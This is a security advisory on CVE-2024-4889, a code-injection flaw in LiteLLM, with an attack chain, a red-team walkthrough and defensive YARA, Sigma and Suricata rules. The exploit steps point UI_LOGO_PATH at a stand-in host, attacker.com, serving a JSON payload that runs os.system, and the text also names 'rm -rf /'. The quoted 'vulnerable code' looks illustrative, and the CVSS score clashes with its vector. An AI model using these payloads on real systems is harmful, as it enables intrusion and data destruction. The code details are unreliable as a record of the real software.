CVE-2024-4889

Executive Summary

CVE-2024-4889 is a critical code injection vulnerability in the BerriAI LiteLLM application (version 1.34.6). The flaw resides in the secret management system, where unvalidated input is passed to the eval() function. An attacker can exploit this by setting the UI_LOGO_PATH variable to a remote server address, causing the application to write a malicious Google KMS configuration file to cached_logo.jpg. Subsequently, by assigning arbitrary code to the SAVE_CONFIG_TO_DB environment variable, the attacker achieves remote code execution (RCE) with full system control. The vulnerability is contingent on the use of the Google KMS feature. No public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects the Python package litellm (PyPI). Organizations using this package should immediately audit their deployment for the presence of the Google KMS feature and restrict network access to the application. The lack of a patch increases supply chain risk; consider forking the repository and applying a temporary fix by sanitizing inputs to the eval() function.

CVSS Breakdown & Threat Level

CVSS Score: 7.2 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions required beyond a valid Google KMS configuration.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Full system compromise leads to data exposure.
• Integrity (I): High – Arbitrary code execution allows data modification.
• Availability (A): High – System can be taken offline or disrupted.

Threat Level: Critical – Despite the CVSS score of 7.2, the potential for full system takeover and the lack of a patch elevate the real-world risk. EPSS score is 0.0%, indicating low exploitation likelihood currently, but this may change as details spread.

Deep Dive & Mechanics

The vulnerability is a classic code injection via the eval() function in Python. The LiteLLM secret management system uses eval() to process configuration values, including UI_LOGO_PATH. The attack chain is as follows:

1. Prerequisite: The target must have a valid Google KMS configuration file (e.g., google_kms.json) and the SAVE_CONFIG_TO_DB environment variable set to true.
2. Initial Injection: The attacker sets the UI_LOGO_PATH variable to a URL pointing to a malicious Google KMS configuration file hosted on a remote server (e.g., http://attacker.com/malicious_kms.json).
3. File Write: The get_image function fetches the remote file and writes it to cached_logo.jpg without validation.
4. Code Execution: The application then reads cached_logo.jpg as a Google KMS configuration. If the attacker has embedded malicious code in the SAVE_CONFIG_TO_DB environment variable (e.g., os.system('rm -rf /')), the eval() function executes it, leading to RCE.

The root cause is the use of eval() on user-controlled input. The UI_LOGO_PATH is not sanitized, allowing arbitrary file writes. The SAVE_CONFIG_TO_DB variable is then evaluated, enabling code execution.

Vulnerable vs. Patched Code

Vulnerable Code (LiteLLM 1.34.6):

# In secret management system
def get_image(ui_logo_path):
    # No validation of ui_logo_path
    response = requests.get(ui_logo_path)
    with open('cached_logo.jpg', 'wb') as f:
        f.write(response.content)
    return 'cached_logo.jpg'

# Later in the code
config = eval(open('cached_logo.jpg').read())  # Dangerous eval
if os.environ.get('SAVE_CONFIG_TO_DB') == 'true':
    # Execute arbitrary code from config
    exec(config['malicious_code'])

Patched Code (Hypothetical):

import json
import re

def get_image(ui_logo_path):
    # Validate URL
    if not re.match(r'^https?://[a-zA-Z0-9.-]+(:[0-9]+)?(/.*)?$', ui_logo_path):
        raise ValueError("Invalid URL")
    response = requests.get(ui_logo_path)
    # Validate content is JSON
    try:
        data = json.loads(response.content)
    except json.JSONDecodeError:
        raise ValueError("Invalid JSON")
    # Use json.load instead of eval
    with open('cached_logo.jpg', 'w') as f:
        json.dump(data, f)
    return 'cached_logo.jpg'

# Later
config = json.load(open('cached_logo.jpg'))
if os.environ.get('SAVE_CONFIG_TO_DB') == 'true':
    # No exec, only safe operations
    save_to_db(config)

The patch replaces eval() with json.load() and adds input validation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running LiteLLM 1.34.6 with Google KMS enabled.
• Attacker-controlled server hosting a malicious KMS config file.

Exploit Steps:

1. Create a malicious Google KMS configuration file (malicious_kms.json) with embedded code:

   {
     "type": "service_account",
     "project_id": "malicious",
     "private_key_id": "123",
     "private_key": "-----BEGIN PRIVATE KEY-----\n...\n-----END PRIVATE KEY-----\n",
     "client_email": "test@test.com",
     "client_id": "123",
     "auth_uri": "https://accounts.google.com/o/oauth2/auth",
     "token_uri": "https://oauth2.googleapis.com/token",
     "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
     "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/test@test.com",
     "malicious_code": "__import__('os').system('id')"
   }
   

2. Host the file on your server: http://attacker.com/malicious_kms.json.
3. Set the UI_LOGO_PATH environment variable on the target to your URL:

   export UI_LOGO_PATH=http://attacker.com/malicious_kms.json
   

4. Set SAVE_CONFIG_TO_DB to true:

   export SAVE_CONFIG_TO_DB=true
   

5. Trigger the vulnerable code path (e.g., by accessing a logo-related endpoint). The eval() will execute os.system('id').

Expected Output: The command id runs on the target, confirming RCE.

Blue Team (Detection & Hardening)

Detection:

• Monitor for outbound HTTP requests to unknown IPs from the LiteLLM process.
• Alert on creation of cached_logo.jpg in unexpected directories.
• Detect environment variable changes for UI_LOGO_PATH and SAVE_CONFIG_TO_DB.

Hardening:

• Disable the Google KMS feature if not needed.
• Apply input validation to UI_LOGO_PATH (allow only known safe URLs).
• Replace eval() with json.load() in the codebase.
• Use a Web Application Firewall (WAF) to block requests with suspicious UI_LOGO_PATH values.

Indicators of Compromise (IOCs)

• File: cached_logo.jpg containing JSON with malicious_code key.
• Network: Outbound HTTP GET requests to attacker-controlled servers from the LiteLLM process.
• Environment: Presence of UI_LOGO_PATH set to a remote URL and SAVE_CONFIG_TO_DB set to true.
• Process: Unusual child processes spawned by the LiteLLM process (e.g., id, bash, curl).
• Logs: Error logs containing eval() exceptions or unexpected JSON parsing errors.

Detection Engineering

YARA Rule

rule CVE_2024_4889_LiteLLM_CodeInjection {
    meta:
        description = "Detects malicious Google KMS config files used in CVE-2024-4889"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-4889"
    strings:
        $malicious_code = "malicious_code" nocase
        $eval_pattern = /__import__\('os'\)\.system\(/
        $json_key = /"private_key"\s*:\s*"-----BEGIN PRIVATE KEY-----/
    condition:
        $json_key and ($malicious_code or $eval_pattern)
}

Sigma Rule

title: CVE-2024-4889 LiteLLM Code Injection via UI_LOGO_PATH
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-4889 by monitoring environment variable changes and file creation.
logsource:
    category: process_creation
    product: linux
detection:
    selection_env:
        Image|endswith: '/litellm'
        CommandLine|contains: 'UI_LOGO_PATH=http://'
    selection_file:
        Image|endswith: '/litellm'
        CommandLine|contains: 'cached_logo.jpg'
    condition: selection_env and selection_file
falsepositives:
    - Legitimate use of remote logos (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-4889 LiteLLM Outbound to Malicious KMS Config"; flow:to_server; content:"GET"; http_method; content:"malicious_kms.json"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Google KMS: If not required, remove the Google KMS configuration file and set SAVE_CONFIG_TO_DB to false.
2. Network Segmentation: Restrict outbound HTTP access from the LiteLLM server to only trusted repositories.
3. Input Validation: Manually patch the get_image function to validate UI_LOGO_PATH against a whitelist of allowed URLs.

Long-Term Fix:

• Replace eval() with json.load() in the secret management system.
• Implement strict input validation for all configuration variables.
• Monitor for official patches from BerriAI and apply immediately.

Workaround:

• Use a reverse proxy to filter requests containing UI_LOGO_PATH with remote URLs.

Valters IT – DevSecOps & Cyber Threat Intelligence